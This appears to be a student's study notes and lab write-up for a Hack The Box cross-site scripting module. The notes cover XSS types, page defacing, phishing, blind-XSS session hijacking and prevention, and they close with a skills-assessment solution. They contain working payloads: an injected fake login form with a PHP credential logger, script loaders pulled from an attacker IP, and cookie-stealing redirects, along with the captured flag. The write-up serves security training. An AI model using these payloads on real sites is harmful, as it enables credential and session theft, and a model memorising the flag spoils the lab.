XSS Basics

Client-Side vulnerability divided in many categories. Most common are :

  • Stored XSS
  • Reflected XSS
  • DOM-based XSS

As for this module, the first part (Stored to DOM-Based) is not the most informative one since it just covers the broad aspects of XSS. Cross-site scripting section in Portswigger is more suited to learn and practice the 3 category of vulnerability. However, the methodology is very interesting to work with and will be integrated to the Cross Site Scripting (XSS) note.

Stored XSS


Stored XSS exploitation embed the script directly into the webpage targeted. As such, any user accessing that page can trigger the vulnerability, hence the “stored”. The usual payload <script>alert(document.cookie)</script> might be blocked for using alert() in some browsers (Google Chrome, Microsoft Edge) print() is a good alternative to it.

The question is trivial and only requires to use the payload to find the result. More practicing here :

Reflected XSS


Contrarily to stored XSS, Reflected ones are not persistent. You will trigger it usually by getting the response of a specific URL or event sent to you and most of the time requires a user interaction first, like clicking a link.

Questions are still as trivial as ever. Read along and replicate. Same thing for practicing :

DOM XSS


DOM based section is already more interesting, though at this point everything is compiled in the Cross Site Scripting (XSS) vulnerability note.

Practice on this lab (which is “harder”) and you should be able to solve the question easily : DOM XSS in jQuery selector sink using a hashchange event.

XSS Discovery


Quick mention about automated scanner efficiency for covering fast a whole scope with simple exploitation on every fields. In this section, BurpSuite active scanner detected the reflected XSS on the Question part. XSSstrike is mentioned too as a tool to focus on a specific request.

Questions

Defacing


Now we’re entering in the practical exploitation lab and not just the Proof-Of-Concept. Defacing can be used to lure users into making request or sending credentials etc…

When defacing, we should look-up on the existing resources avilable on the scope. Important elements to deface are :

  • Background Color document.body.style.background
  • Background document.body.background
  • Page Title document.title
  • Page Text DOM.innerHTML

All of these can be loaded using scripts tags in XSS.

We can also replace existing text using JQuery if it’s present (most of the time it is) by targeting existing value like such :

$("#todo").html('New Text');

We can basically rewrite the whole page piece by piece if we want to be precise, or overwrite and creating a complete new one by using the entire body :

document.getElementsByTagName('body')[0].innerHTML = "New Text"

Echoing to JavaScript Deobfuscation we can minify our payload though it’s not the most useful.

Phishing


The phishing section is pretty well built as both a follow along and a reminder of previously taught sections. A quick scan over the target on the /phishing path reveals an XSS on the URL query. We can use that to deface the page to a fake login form, and retrieve credentials that way.

HTB provides a simple form like the following to show the example :

<h3>Please login to continue</h3>
<form action=http://OUR_IP>
    <input type="username" name="username" placeholder="Username">
    <input type="password" name="password" placeholder="Password">
    <input type="submit" name="submit" value="Login">
</form>

We need to insert it using document.write with our payload. In a real case, we would like to copy the interface of the real web-app login interface.

Make sure to remove the unwanted content with document.getElementById(urlform).remove(). The final payload should looks like that :

'><script>document.write('<h3>Please login to continue</h3><form action=http://SERVER_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');document.getElementById('urlform').remove();</script>

Now someone who fills the form wouldn’t send it anywhere because nothing is listening and we haven’t set any IP. So let’s setup a listener in the internal network and try it out on ourself. Reminder : don’t forget to change the payload with your IP

Setup the PHP server on a file :

<?php
if (isset($_GET['username']) && isset($_GET['password'])) {
    $file = fopen("creds.txt", "a+");
    fputs($file, "Username: {$_GET['username']} | Password: {$_GET['password']}\n");
    header("Location: http://SERVER_IP/phishing/index.php");
    fclose($file);
    exit();
}
?>
sudo php -S 0.0.0.0:80

We can try the exploit on ourselves before triggering it for the bot in the Lab.

Practice a lot on these type of setup

This is fairly important to be able to leverage XSS more than just alert PoC.

Questions

Session Hijacking


Best section of the module (imo). Introduce Blind XSS which is rarely mentioned or used for challenges. Some people advocates to try malicious input on the get go when pentesting, though I like to use intended fields to observe how they are processed and returned when no unintended behavior is happening. HTB aligns with this by testing the fields in hijacking with the usual test value on register option.

Here we observe our registration is subject to Administration review. What should tick in mind is :

  • We won’t get our input returned to us Can’t observe the server behavior directly.
  • Admin will get our request, which means we might be able to compromise him with an appropriate payload.

This means we will need to get an out-of-band endpoint that will serve as a proof of vulnerability. We will serve our payload using the deployed server. If we get a log fetch even if the script isn’t malicious yet, then the field is vulnerable and we’ll try to exploit it.

<script src=http://OUR_IP></script>
'><script src=http://OUR_IP></script>
 
<!--This is the working payload in the course/-->
"><script src=http://OUR_IP></script>
javascript:eval('var a=document.createElement(\'script\');a.src=\'http://OUR_IP\';document.body.appendChild(a)')
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//OUR_IP");a.send();</script>
<script>$.getScript("http://OUR_IP")</script>

Python server and PHP will both do the job for logging the tests. HTB presents a solution to log the credentials using PHP to store logged cookies, but in our case it isn’t necessary. Simply force the user to send a request to our server and inserting the admin cookies (note they are not in HTTPOnly, otherwise it wouldn’t work).

"><script>document.location.href='http://10.10.14.249:7777/invalid?cookies='+document.cookie</script>

Questions

XSS Prevention


It should be added to the remediation part of Cross Site Scripting (XSS) but summarized is :

  • Sanitize input server-side (client-side would defeat the purpose since you can bypass from Proxy, DOM-Purify is most common and some frameworks do it already).
  • Avoid to embed any user input in script ; style ; tag/attributes ; comments
  • Avoid to embed user input in source or to be evaluated in sinks
  • Encode HTML characters into HTML entities (e.g. < into &lt;)

Bonus resources are a proper setup of the CSP, setting appropriate flags on cookies such as HTTPOnly and Secure. WAF deserve to be mentioned if they are properly configured.

Skills Assessment


Let’s Write-Up. The question is simple : What is the value of the ‘flag’ cookie?

  1. The scope is the http://IP/assessment/ path.
  2. We’re expected to find an XSS vector and then trigger a session hijacking, meaning there will be a bot with active session.

Looking at the target we have multiple features :

  1. A search functionality that allow user to manipulate the query parameter ?s={my_input}. If we are able to trigger a reflected XSS and we have an URL to supply to a user (admin) it could be a good way to retrieve credentials. However, I didn’t find anyway to trigger an XSS using this field.
  2. There’s a second “list” of fields that can be evaluated :

This formular is sent to an administrator for review before publication. This means we can’t observe how our payload will execute and as a consequence we need to identify a working payload in the first place. Replicating the content learned in Session Hijacking, we try every field but mail (it is verified server side and seems to follow the proper regex). The website input field is vulnerable to an XSS :

"><script src='http://10.10.14.249/Website></script>

Now that we have a working payload (at least the admin is clicking it) we can try to retrieve his cookies with a simple :

"><script>document.location.href='http://10.10.14.249/whatever?cookie='+document.cookie</script>

Our server logs the Administrator request with the associated cookies :

10.129.206.211 - - [10/Dec/2025 20:20:37] "GET /whatever?cookie=wordpress_test_cookie=WP%20Cookie%20check;%20wp-settings-time-2=1765394437;%20flag=HTB{cr055_5173_5cr1p71n6_n1nj4} HTTP/1.1" 404 -

And we don’t even have to login we just have the flag HTB{cr055_5173_5cr1p71n6_n1nj4} and we can finish the skill assessment.